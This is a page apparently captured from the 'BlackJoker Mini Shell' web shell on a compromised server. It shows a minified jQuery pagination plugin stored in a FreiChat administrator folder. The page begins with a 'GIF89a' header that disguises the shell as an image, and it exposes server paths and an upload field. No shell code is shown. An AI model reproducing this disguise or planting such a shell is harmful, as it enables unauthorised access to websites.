GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/freichat/administrator/admin_files/moderate_users/
Upload File :
Current File : /home/serb/public_html/freichat/administrator/admin_files/moderate_users/jquery.jqpagination.min.js

(function(a){"use strict";a.jqPagination=function(b,c){var d=this;d.$el=a(b);d.el=b;d.$input=d.$el.find("input");d.$el.data("jqPagination",d);d.init=function(){d.options=a.extend({},a.jqPagination.defaultOptions,c);if(d.options.max_page===null){if(d.$input.data("max-page")!==undefined){d.options.max_page=d.$input.data("max-page")}else{d.options.max_page=1}}if(d.$input.data("current-page")!==undefined&&d.isNumber(d.$input.data("current-page"))){d.options.current_page=d.$input.data("current-page")}d.$input.removeAttr("readonly");d.updateInput(true);d.$input.on("focus.jqPagination mouseup.jqPagination",function(b){if(b.type==="focus"){var c=parseInt(d.options.current_page,10);a(this).val(c).select()}if(b.type==="mouseup"){return false}});d.$input.on("blur.jqPagination keydown.jqPagination",function(b){var c=a(this),e=parseInt(d.options.current_page,10);if(b.keyCode===27){c.val(e);c.blur()}if(b.keyCode===13){c.blur()}if(b.type==="blur"){d.setPage(c.val())}});d.$el.on("click.jqPagination","a",function(b){var c=a(this);if(c.hasClass("disabled")){return false}if(!b.metaKey&&!b.ctrlKey){b.preventDefault();d.setPage(c.data("action"))}})};d.setPage=function(a){if(a===undefined){return d.options.current_page}var b=FC.currpage;var c=FC.max_page;if(isNaN(parseInt(a,10))){switch(a){case"first":a=1;break;case"prev":case"previous":a=b-1;break;case"next":a=b+1;break;case"last":a=c;break}}a=parseInt(a,10);if(isNaN(a)||a<1||a>c||a===b){d.setInputValue(b);return false}d.options.current_page=a;d.$input.data("current-page",a);d.updateInput()};d.setMaxPage=function(a){if(a===undefined){return d.options.max_page}if(!d.isNumber(a)){console.error("jqPagination: max_page is not a number");return false}if(a<d.options.current_page){console.error("jqPagination: max_page lower than current_page");return false}d.options.max_page=FC.max_page;d.$input.data("max-page",FC.max_page);d.updateInput()};d.updateInput=function(a){var b=parseInt(d.options.current_page,10);d.setInputValue(b);d.setLinks(b);if(a!==true){d.options.paged(b)}};d.setInputValue=function(a){var b=d.options.page_string,c=d.options.max_page;b=b.replace("{current_page}",FC.currpage).replace("{max_page}",FC.max_page);d.$input.val(b)};d.isNumber=function(a){return!isNaN(parseFloat(a))&&isFinite(a)};d.setLinks=function(a){var b=d.options.link_string,c=parseInt(d.options.current_page,10),e=parseInt(d.options.max_page,10);if(b!==""){var f=c-1;if(f<1){f=1}var g=c+1;if(g>e){g=e}d.$el.find("a.first").attr("href",b.replace("{page_number}","1"));d.$el.find("a.prev, a.previous").attr("href",b.replace("{page_number}",f));d.$el.find("a.next").attr("href",b.replace("{page_number}",g));d.$el.find("a.last").attr("href",b.replace("{page_number}",e))}d.$el.find("a").removeClass("disabled");if(c===e){d.$el.find(".next, .last").addClass("disabled")}if(c===1){d.$el.find(".previous, .first").addClass("disabled")}};d.callMethod=function(a,b,c){switch(a.toLowerCase()){case"option":switch(b.toLowerCase()){case"current_page":return d.setPage(c);case"max_page":return d.setMaxPage(c)}console.error("jqPagination: cannot get / set option "+b);return false;break;case"destroy":d.$el.off(".jqPagination").find("*").off(".jqPagination");break;default:console.error('jqPagination: method "'+a+'" does not exist');return false}};d.init()};a.jqPagination.defaultOptions={current_page:1,link_string:"",max_page:null,page_string:"Page {current_page} of {max_page}",paged:function(){}};a.fn.jqPagination=function(){var b=this,c=Array.prototype.slice.call(arguments);if(typeof c[0]==="string"){if(b.length>1){b=b.eq(0)}var d=a(b).data("jqPagination");return d.callMethod(c[0],c[1],c[2])}b.each(function(){new a.jqPagination(this,c[0])})}})(jQuery);if(!console){var console={},func=function(){return false};console.log=func;console.info=func;console.warn=func;console.error=func}

./BlackJoker Mini Shell 1.0